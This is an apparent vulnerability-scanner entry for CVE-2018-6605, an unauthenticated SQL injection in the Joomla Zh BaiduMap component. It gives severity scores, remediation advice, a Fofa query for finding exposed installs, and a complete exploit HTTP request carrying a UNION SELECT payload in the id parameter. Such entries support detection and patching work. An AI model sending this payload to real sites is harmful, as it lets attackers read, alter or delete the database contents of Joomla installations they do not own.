| Title | Joomla! Component Zh BaiduMap 3.0.0.1 - SQL Injection |
|---|---|
| Author | DhiyaneshDk |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute arbitrary SQL commands to access, modify, or delete database contents, potentially compromising the entire Joomla installation. |
| Remediation | Remove the vulnerable Zh BaiduMap component or upgrade to a patched version. |
| CVSS Score | 9.8 |
| EPSS Score | 0.90109 |
| CVE ID | CVE-2018-6605 |
| CWE ID | CWE-89 |
| Fofa Query | app="Joomla!-网站安装"app="joomla!-网站安装" |
| Tags | cve cve2018 joomla sqli joomla\! zh_baidumap_project vkev vuln |
SQL Injection exists in the Zh BaiduMap 3.0.0.1 component for Joomla! via the id parameter in a getPlacemarkDetails, getPlacemarkHoverText, getPathHoverText, or getPathDetails request.
POST /index.php?option=com_zhbaidumap&no_html=1&format=raw&task=getPlacemarkDetails HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0
Connection: close
Content-Length: 270
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
id=-1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,md5(1288),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-6605.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-6605.pcap
N/AN/A